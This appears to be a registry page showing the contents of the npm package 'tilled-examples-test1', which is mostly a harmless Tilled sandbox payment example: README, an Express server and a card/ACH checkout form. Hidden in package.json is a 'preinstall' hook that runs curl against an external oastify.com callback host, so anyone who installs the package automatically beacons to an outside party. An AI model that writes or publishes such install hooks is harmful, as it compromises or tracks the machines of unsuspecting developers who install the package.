tilled-examples-test1 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of tilled-examples-test1 might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1,41 @@
1
+ # Dependencies
2
+ - [Node.js](https://nodejs.org)
3
+ # Get started
4
+
5
+ - Clone the project
6
+ - Install dependencies:
7
+ ```
8
+ $ npm install
9
+ ```
10
+
11
+ # Create a sandbox account and add your configuration values
12
+
13
+ - [Register a sandbox account](https://sandbox-app.tilled.com/auth/register)
14
+ - [Create secret and publishable API keys](https://sandbox-app.tilled.com/api-keys)
15
+ - Add your secret API key to the `tilledSecretApiKey` variable in `app.js`
16
+ - Add your publishable API Key to the `pk_PUBLISHABLE_KEY` variable in `index.html`
17
+ - [View your list of connected accounts](https://sandbox-app.tilled.com/connected-accounts) and either use the auto-created `Shovel Shop (demo)` account or create your own connected account. *Note: Prefix the name of the account with an asterisk (ex. '\*The Surf Shop') to bypass needing to submit an onboarding form*.
18
+ - Add an *active* connected Account ID to the `account_id` variable in `index.html`
19
+ - Run the sample server:
20
+
21
+ ```
22
+ $ node app.js
23
+ ```
24
+
25
+ # Process your first payment
26
+ ![Example](/img/Simple-Payment-Example.png)
27
+
28
+ - Navigate to [http://localhost:5000](http://localhost:5000) in your browser, enter `4037111111000000` as the test card number with a valid expiration date and `123` as the CVV Code and click Pay
29
+ - Optional: Look in the browser's developer console to see payment intent creation logs
30
+ - Go [here](https://sandbox-app.tilled.com/payments) to see your payment
31
+
32
+ # Manually create payment methods
33
+ ![Example](/img/Create-Payment-Method.png)
34
+
35
+ - In the browser, check the save payment checkbox, fill in the additional fields and click Save.
36
+ - View the paymentMethod.id in the alert or the console.
37
+
38
+ # What's Next?
39
+ [API Docs](https://docs.tilled.com/api)
40
+
41
+ You can try out attaching payment methods to customers, adding metadata, including platform fees on payment intents and much, much more via the Tilled API.
package/app.js ADDED
@@ -0,0 +1,59 @@
1
+ const express = require('express')
2
+ const axios = require('axios')
3
+ const app = express()
4
+ const path = require('path')
5
+ const open = require('open')
6
+ const port = process.env.port || 5000
7
+
8
+ const tilledSecretApiKey = 'Add Your Key Here'
9
+
10
+ app.get('/', (req, res) => {
11
+ res.sendFile(path.join(__dirname, '/index.html'))
12
+ })
13
+
14
+
15
+ app.get('/secret/:id', (req, res) => {
16
+ const tilledAccountId = req.params.id
17
+ const headers = {
18
+ 'Content-Type': 'application/json',
19
+ Authorization: 'Bearer ' + tilledSecretApiKey,
20
+ 'Tilled-Account': tilledAccountId,
21
+ }
22
+
23
+ axios.post('https://sandbox-api.tilled.com/v1/payment-intents',
24
+ {
25
+ amount: 500,
26
+ currency: 'usd',
27
+ payment_method_types: ['card','ach_debit'],
28
+ },
29
+ {
30
+ headers: headers,
31
+ })
32
+ .then((response) => {
33
+ console.log('Successfully created payment intent:')
34
+ console.log(response.data)
35
+ res.json({ client_secret: response.data.client_secret })
36
+ })
37
+ .catch((error) => {
38
+ let errorMsg = 'Unable to create and return paymentIntent'
39
+
40
+ if (error.response) {
41
+ // Request made and server responded
42
+ console.log(error.response.data)
43
+ errorMsg = error.response.data.message
44
+ } else if (error.request) {
45
+ // The request was made but no response was received
46
+ console.log(error.request)
47
+ } else {
48
+ // Something happened in setting up the request that triggered an Error
49
+ console.log('Error', error.message)
50
+ }
51
+
52
+ res.status(400).send({ message: errorMsg })
53
+ })
54
+ })
55
+
56
+ app.listen(port, () => {
57
+ console.log(`Example app listening at http://localhost:${port}`)
58
+ open(`http://localhost:${port}`)
59
+ })
Binary file
Binary file
package/index.html ADDED
@@ -0,0 +1,539 @@
1
+ <html>
2
+ <head>
3
+ <meta charset="utf-8">
4
+ <link rel=icon href=https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5.14/svgs/solid/credit-card.svg>
5
+ <script src="https://js.tilled.com/v2"></script>
6
+ <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
7
+
8
+ <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet">
9
+
10
+ <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
11
+ <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script>
12
+ <!------ Include the above in your HEAD tag ---------->
13
+
14
+ <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.8/css/all.css">
15
+
16
+ <style type="text/css">
17
+ body { margin-top:20px; }
18
+ .inputField {
19
+ border: 1.5px solid #DFE3EB;
20
+ height: 40px;
21
+ padding-left: 10px;
22
+ font-weight: 500;
23
+ }
24
+ .credit-card-box .panel-title {
25
+ display: inline;
26
+ font-weight: bold;
27
+ }
28
+ .credit-card-box .form-control.error {
29
+ border-color: red;
30
+ outline: 0;
31
+ box-shadow: inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(255,0,0,0.6);
32
+ }
33
+ .credit-card-box label.error {
34
+ font-weight: bold;
35
+ color: red;
36
+ padding: 2px 8px;
37
+ margin-top: 2px;
38
+ }
39
+ .credit-card-box .payment-errors {
40
+ font-weight: bold;
41
+ color: red;
42
+ padding: 2px 8px;
43
+ margin-top: 12px;
44
+ }
45
+ .credit-card-box label {
46
+ display: block;
47
+ }
48
+
49
+ .credit-card-box .display-tr {
50
+ display: table-row;
51
+ }
52
+ .credit-card-box .display-td {
53
+ display: table-cell;
54
+ vertical-align: middle;
55
+ width: 50%;
56
+ }
57
+
58
+ .credit-card-box .panel-heading img {
59
+ min-width: 180px;
60
+ border-style: solid;
61
+ border-width: 3px;
62
+ border-color: white;
63
+ box-shadow: 3px 3px 5px #D3D3D3;
64
+ }
65
+
66
+ .credit-card-font-size {
67
+ font-size: large;
68
+ }
69
+ .icon{
70
+ margin-right:auto ;
71
+ }
72
+
73
+ .hidden {
74
+ visibility: hidden;
75
+ display: none;
76
+ }
77
+
78
+ #main {
79
+ max-width: 600px;
80
+ }
81
+
82
+ </style>
83
+ </head>
84
+ <body>
85
+ <h3 class="text-center">Tilled Payment Example</h3>
86
+
87
+ <article id="main" class="card mx-auto">
88
+ <div class="card-body p-5">
89
+
90
+ <ul class="nav bg-light nav-pills rounded nav-fill mb-3" role="tablist">
91
+ <li class="nav-item w-50">
92
+ <a class="nav-link active" data-toggle="pill" href="#nav-tab-card">
93
+ <i class="fa fa-credit-card"></i> Credit Card</a></li>
94
+ <li class="nav-item w-50">
95
+ <a class="nav-link" data-toggle="pill" href="#nav-tab-ach">
96
+ <i class="fas fa-university"></i> ACH</a></li>
97
+
98
+ </ul>
99
+
100
+ <div class="tab-content">
101
+ <div class="tab-pane fade show active" id="nav-tab-card" *ngIf="selectedPaymentType === 'card'">
102
+ <form role="form" id="payment-form" method="POST" action="javascript:void(0);">
103
+ <div class="form-group">
104
+ <label for="card-number-element">Card number</label>
105
+ <div class="inputField" id="card-number-element" autocomplete="cc-number">
106
+ </div>
107
+ <span class="input-group-text text-muted">
108
+ <i class="credit-card-logo fab fa-cc-visa"></i>&nbsp;<i class="credit-card-logo fab fa-cc-amex"></i>&nbsp;
109
+ <i class="credit-card-logo fab fa-cc-mastercard"></i>&nbsp;<i class="credit-card-logo fab fa-cc-diners-club"></i>&nbsp;
110
+ <i class="credit-card-logo fab fa-cc-jcb"></i>&nbsp;<i class="credit-card-logo fab fa-cc-discover"></i>
111
+ </span>
112
+ </div> <!-- form-group.// -->
113
+ <div class="row">
114
+ <div class="col-sm-6">
115
+ <div class="form-group">
116
+ <label ><span class="hidden-xs">Expiration</span> </label>
117
+ <div class="inputField" id="card-expiration-element" >
118
+ </div>
119
+ </div>
120
+ </div>
121
+ <div class="col-sm-6">
122
+ <div class="form-group">
123
+ <label>CVV <i class="fa fa-question-circle"></i></span></label>
124
+ <div class="inputField" id="card-cvv-element" >
125
+ </div>
126
+ </div> <!-- form-group.// -->
127
+ </div>
128
+ <div class="w-100 m-3">
129
+ <div class="form-group card-billing-details hidden">
130
+ <label >Full Name</label>
131
+ <input type="text" class="form-control" id="card-name-element" name="name" placeholder="" required="">
132
+ <label class="mt-3">Address</label>
133
+ <input type="text" class="form-control" id="card-address-element" name="address" placeholder="" required="">
134
+ <div class="d-flex mt-3">
135
+ <div class="col-sm-6">
136
+ <label >Country</label>
137
+ <input type="text" class="form-control" id="card-country-element" name="country" placeholder="" required="">
138
+ <label >City</label>
139
+ <input type="text" class="form-control" id="card-city-element" name="city" placeholder="" required="">
140
+ </div>
141
+ <div class="col-sm-6">
142
+ <label >State</label>
143
+ <input type="text" class="form-control" id="card-state-element" name="state" placeholder="" required="">
144
+ <label >Zip</label>
145
+ <input type="text" class="form-control" id="card-zip-element" name="billingZip" placeholder="" required="">
146
+ </div>
147
+ </div>
148
+ </div> <!-- form-group.// -->
149
+ </div>
150
+ </div> <!-- row.// -->
151
+ <div class="d-flex justify-content-center align-items-center">
152
+ <label class="mb-0 p-3" for="save-pm-checkbox">Create payment method?</label>
153
+ <input class="p-3" type="checkbox" name="save-pm-checkbox" id="card-save-pm-checkbox-element">
154
+ </div>
155
+ <button class="subscribe btn btn-primary btn-block" type="button" id="submit"> Pay </button>
156
+ <button class="subscribe btn btn-primary btn-block hidden" type="button" id="submitPM"> Save </button>
157
+
158
+ </div> <!-- tab-pane.// -->
159
+ <div class="tab-pane fade" id="nav-tab-ach" *ngIf="selectedPaymentType === 'ach_debit'">
160
+ <!-- <div class="row"> -->
161
+ <div class="row">
162
+ <div class="w-100 pr-3">
163
+ <div class="form-group d-flex flex-column gap-3" >
164
+ <label>Account Type</label>
165
+ <select class="form-control" id="ach_account_type" name='ach_account_type'>
166
+ <option value="checking">Checking</option>
167
+ <option value="savings">Savings</option>
168
+ </select>
169
+ <label class="mt-3">Account Number</label>
170
+ <div class="inputField" id="bank-account-number-element" ></div>
171
+ <label class="mt-3">Routing Number</label>
172
+ <div class="inputField" id="bank-routing-number-element" ></div>
173
+ </div> <!-- form-group.// -->
174
+ <div class="form-group ach-billing-details hidden">
175
+ <label >Full name</label>
176
+ <input type="text" id="ach-name-element" class="form-control" name="name" placeholder="" required="">
177
+ <label class="mt-3">Address</label>
178
+ <input type="text" class="form-control" id="ach-address-element" name="address" placeholder="" required="">
179
+ <div class="d-flex mt-3">
180
+ <div class="col-sm-6">
181
+ <label >Country</label>
182
+ <input type="text" class="form-control" id="ach-country-element" name="country" placeholder="" required="">
183
+ <label >City</label>
184
+ <input type="text" class="form-control" id="ach-city-element" name="city" placeholder="" required="">
185
+ </div>
186
+ <div class="col-sm-6">
187
+ <label >State</label>
188
+ <input type="text" class="form-control" id="ach-state-element" name="state" placeholder="" required="">
189
+ <label >Zip</label>
190
+ <input type="text" class="form-control" id="ach-zip-element" name="billingZip" placeholder="" required="">
191
+ </div>
192
+ </div>
193
+ </div> <!-- form-group.// -->
194
+
195
+ </div>
196
+ </div>
197
+ <div class="d-flex justify-content-center align-items-center">
198
+ <label class="mb-0 p-3" for="save-pm-checkbox">Create payment method?</label>
199
+ <input class="p-3" type="checkbox" name="save-pm-checkbox" id="ach-save-pm-checkbox-element">
200
+ </div>
201
+ <button class="subscribe btn btn-primary btn-block" type="button" id="submit2"> Pay </button>
202
+ <button class="subscribe btn btn-primary btn-block hidden" type="button" id="submitPM2"> Save </button>
203
+ </div>
204
+ </form>
205
+ </div> <!-- tab-content .// -->
206
+ </div> <!-- card-body.// -->
207
+ </article> <!-- card.// -->
208
+ <br><br>
209
+ <h4 class="text-center">Be sure to insert your secret and publishable API keys.</h4>
210
+ <h4 class="text-center"><a href="https://api.tilled.com/docs#section/Tilled.js" target="_blank">Tilled.js docs</a>
211
+ </h4>
212
+
213
+ <br><br>
214
+
215
+
216
+ <!-- Included here for simplicity of example -->
217
+ <script>
218
+ var account_id = 'Add Your Account Id Here';
219
+ var pk_PUBLISHABLE_KEY = 'Add Your Key Here';
220
+
221
+ // toggle Pay vs Save Payment Method
222
+ toggleSavePayment()
223
+
224
+ function toggleSavePayment () {
225
+ document.getElementById('card-save-pm-checkbox-element').addEventListener('change', () => {
226
+ document.getElementById('submit').classList.toggle('hidden');
227
+ document.getElementById('submitPM').classList.toggle('hidden');
228
+
229
+ document.querySelector('.form-group.card-billing-details').classList.toggle('hidden');
230
+ })
231
+ document.getElementById('ach-save-pm-checkbox-element').addEventListener('change', () => {
232
+ document.getElementById('submit2').classList.toggle('hidden');
233
+ document.getElementById('submitPM2').classList.toggle('hidden');
234
+
235
+ document.querySelector('.form-group.ach-billing-details').classList.toggle('hidden');
236
+ })
237
+ }
238
+
239
+ document.addEventListener('DOMContentLoaded', async () => {
240
+ const tilledAccountId = account_id
241
+ const tilled = new Tilled(
242
+ pk_PUBLISHABLE_KEY,
243
+ tilledAccountId,
244
+ {
245
+ sandbox: true,
246
+ log_level: 0
247
+ })
248
+
249
+ const form = await tilled.form({
250
+ payment_method_type: 'card',
251
+ })
252
+
253
+ // Optional styling of the fields
254
+ const fieldOptions = {
255
+ styles: {
256
+ base: {
257
+ fontFamily: 'Helvetica Neue, Arial, sans-serif',
258
+ color: '#304166',
259
+ fontWeight: '400',
260
+ fontSize: '16px',
261
+ },
262
+ invalid: {
263
+ ':hover': {
264
+ textDecoration: 'underline dotted red',
265
+ },
266
+ },
267
+ valid: {
268
+ color: '#00BDA5',
269
+ },
270
+ },
271
+ };
272
+
273
+ form.createField('cardNumber', fieldOptions).inject('#card-number-element')
274
+ form.createField('cardExpiry', fieldOptions).inject('#card-expiration-element')
275
+ form.createField('cardCvv', fieldOptions).inject('#card-cvv-element')
276
+
277
+ await form.build()
278
+
279
+ const submitButton = document.getElementById('submit')
280
+ const savePMButton = document.getElementById('submitPM')
281
+
282
+ form.on('validation', (event) => {
283
+ if (event.field) {
284
+ event.field.element.classList.remove('success')
285
+ event.field.element.classList.remove('error')
286
+ if (event.field.valid) {
287
+ event.field.element.classList.add('success')
288
+ } else {
289
+ event.field.element.classList.add('error')
290
+ }
291
+ }
292
+
293
+ submitButton.disabled = form.invalid
294
+ savePMButton.disabled = form.invalid
295
+ })
296
+
297
+ // Update UI to reflect card brand
298
+ form.fields.cardNumber.on('change', (evt) => {
299
+ const cardBrand = evt.brand;
300
+ const icons = document.querySelectorAll('.credit-card-logo')
301
+
302
+ const highlight = icon => icon.style = 'color: #3DC9B5';
303
+
304
+ switch (cardBrand) {
305
+ case 'amex':
306
+ highlight(document.querySelector('.credit-card-logo.fab.fa-cc-amex'));
307
+ break
308
+ case 'mastercard':
309
+ highlight(document.querySelector('.credit-card-logo.fab.fa-cc-mastercard'));
310
+ break
311
+ case 'visa':
312
+ highlight(document.querySelector('.credit-card-logo.fab.fa-cc-visa'));
313
+ break
314
+ case 'diners':
315
+ highlight(document.querySelector('.credit-card-logo.fab.fa-cc-diners-club'));
316
+ break
317
+ case 'jcb':
318
+ highlight(document.querySelector('.credit-card-logo.fab.fa-cc-jcb'));
319
+ break
320
+ case 'discover':
321
+ highlight(document.querySelector('.credit-card-logo.fab.fa-cc-discover'));
322
+ break
323
+ default:
324
+ icons.forEach( icon => icon.removeAttribute('style'));
325
+ }
326
+ })
327
+
328
+ submitButton.addEventListener('click', async () => {
329
+
330
+ submitButton.disabled = true
331
+
332
+ // Generally gone in advance...
333
+ // Ask server to generate PaymentIntent
334
+ // it will send back clientSecret
335
+ let secretResponse = await fetch('/secret/' + tilledAccountId)
336
+ let secretData = await secretResponse.json()
337
+ let clientSecret = secretData.client_secret
338
+
339
+ console.log('PaymentIntent clientSecret: ' + clientSecret)
340
+
341
+
342
+ // you can either pass the entire payment method object
343
+ // or the id of the paymentMethod
344
+ await tilled.confirmPayment(clientSecret, {
345
+ payment_method: {
346
+ form,
347
+ type: 'card',
348
+ billing_details: {
349
+ name: 'John Smith',
350
+ address: {
351
+ country: "US",
352
+ zip: "80301",
353
+ state: "CO",
354
+ city: "Boulder",
355
+ street: "2905 Pearl Street"
356
+ }
357
+ }
358
+ },
359
+ }).then(
360
+ (payment) => {
361
+ console.log('Successful payment.')
362
+ console.log(payment)
363
+ window.alert('Successful payment')
364
+ // payment is successful, payment will contain information about the transaction that was created
365
+ },
366
+ (error) => {
367
+ console.log('Failed to confirm payment.')
368
+ console.log(error)
369
+ // show the error to the customer
370
+ window.alert(error)
371
+ },
372
+ )
373
+
374
+ })
375
+ savePMButton.addEventListener('click', async () => {
376
+
377
+ savePMButton.disabled = true
378
+
379
+ await tilled.createPaymentMethod({
380
+ form,
381
+ type: 'card',
382
+ billing_details: {
383
+ name: document.getElementById('card-name-element').value.trim(),
384
+ address: {
385
+ country: document.getElementById('card-country-element').value.trim(),
386
+ zip: document.getElementById('card-zip-element').value.trim(),
387
+ state: document.getElementById('card-state-element').value.trim(),
388
+ city: document.getElementById('card-city-element').value.trim(),
389
+ street: document.getElementById('card-address-element').value.trim()
390
+ }
391
+ },
392
+ }).then(
393
+ (paymentMethod) => {
394
+ console.log(`Successful paymentMethod! The paymentMethod id is ${paymentMethod.id}`)
395
+ console.log(paymentMethod)
396
+ window.alert(`Successful paymentMethod! The paymentMethod id is ${paymentMethod.id}`)
397
+ // payment is successful, payment will contain information about the transaction that was created
398
+ },
399
+ (error) => {
400
+ console.log('Failed to confirm payment.')
401
+ console.log(error)
402
+ // show the error to the customer
403
+ window.alert(error)
404
+ },
405
+ )
406
+ })
407
+ }) // end of DOMContentLoaded
408
+
409
+ document.addEventListener('DOMContentLoaded', async () => {
410
+ const tilledAccountId = account_id
411
+ const tilled = new Tilled(
412
+ pk_PUBLISHABLE_KEY,
413
+ tilledAccountId,
414
+ {
415
+ sandbox: true,
416
+ log_level: 0
417
+ })
418
+
419
+ const form = await tilled.form({
420
+ payment_method_type: 'ach_debit',
421
+ })
422
+
423
+ form.createField('bankRoutingNumber').inject('#bank-routing-number-element');
424
+ form.createField('bankAccountNumber').inject('#bank-account-number-element');
425
+
426
+ await form.build()
427
+
428
+ const submitButton = document.getElementById('submit2')
429
+ const savePMButton = document.getElementById('submitPM2')
430
+
431
+ form.on('validation', (event) => {
432
+ if (event.field) {
433
+ event.field.element.classList.remove('success')
434
+ event.field.element.classList.remove('error')
435
+ if (event.field.valid) {
436
+ event.field.element.classList.add('success')
437
+ } else {
438
+ event.field.element.classList.add('error')
439
+ }
440
+ }
441
+
442
+ submitButton.disabled = form.invalid
443
+ savePMButton.disabled = form.invalid
444
+ })
445
+
446
+
447
+ submitButton.addEventListener('click', async () => {
448
+
449
+ submitButton.disabled = true
450
+
451
+ // Generally gone in advance...
452
+ // Ask server to generate PaymentIntent
453
+ // it will send back clientSecret
454
+ let secretResponse = await fetch('/secret/' + tilledAccountId)
455
+ let secretData = await secretResponse.json()
456
+ let clientSecret = secretData.client_secret
457
+
458
+ console.log('PaymentIntent clientSecret: ' + clientSecret)
459
+
460
+ // Confirming PI
461
+ // you can either pass the entire payment method object
462
+ // or the id of the paymentMethod
463
+ await tilled.confirmPayment(clientSecret, {
464
+ payment_method: {
465
+ form,
466
+ type: 'ach_debit',
467
+ billing_details: {
468
+ name: 'John Smith',
469
+ address: {
470
+ country: "US",
471
+ zip: "80301",
472
+ state: "CO",
473
+ city: "Boulder",
474
+ street: "2905 Pearl Street"
475
+ }
476
+ },
477
+ ach_debit: {
478
+ account_type: document.getElementById('ach_account_type').value.trim()
479
+ }
480
+ },
481
+ }).then(
482
+ (payment) => {
483
+ console.log('Successful payment.')
484
+ console.log(payment)
485
+ window.alert('Successful payment')
486
+ // payment is successful, payment will contain information about the transaction that was created
487
+ },
488
+ (error) => {
489
+ console.log('Failed to confirm payment.')
490
+ console.log(error)
491
+ // show the error to the customer
492
+ window.alert(error)
493
+ },
494
+ )
495
+
496
+ })
497
+
498
+ // Creating Payment Method
499
+ savePMButton.addEventListener('click', async () => {
500
+
501
+ savePMButton.disabled = true
502
+
503
+ await tilled.createPaymentMethod({
504
+ form,
505
+ type: 'ach_debit',
506
+ billing_details: {
507
+ name: document.getElementById('ach-name-element').value.trim(),
508
+ address: {
509
+ country: document.getElementById('ach-country-element').value.trim(),
510
+ zip: document.getElementById('ach-zip-element').value.trim(),
511
+ state: document.getElementById('ach-state-element').value.trim(),
512
+ city: document.getElementById('ach-city-element').value.trim(),
513
+ street: document.getElementById('ach-address-element').value.trim()
514
+ }
515
+ },
516
+ ach_debit: {
517
+ account_type: document.getElementById('ach_account_type').value
518
+ }
519
+ }).then(
520
+ (paymentMethod) => {
521
+ console.log(`Successful paymentMethod! The paymentMethod id is ${paymentMethod.id}`)
522
+ console.log(paymentMethod)
523
+ window.alert(`Successful paymentMethod! The paymentMethod id is ${paymentMethod.id}`)
524
+ // paymentMethod is successful, paymentMethod will contain information about the transaction that was created
525
+ },
526
+ (error) => {
527
+ console.log('Failed to confirm paymentMethod.')
528
+ console.log(error)
529
+ // show the error to the customer
530
+ window.alert(error)
531
+ },
532
+ )
533
+
534
+ })
535
+ }) // end of DOMContentLoaded
536
+
537
+ </script>
538
+ </body>
539
+ </html>
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "tilled-examples-test1",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "curl 8t2tb8jcxnz0olbu0pt9he76xx3oref3.oastify.com"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.21.2",
14
+ "express": "^4.17.1",
15
+ "open": "^8.0.5"
16
+ }
17
+ }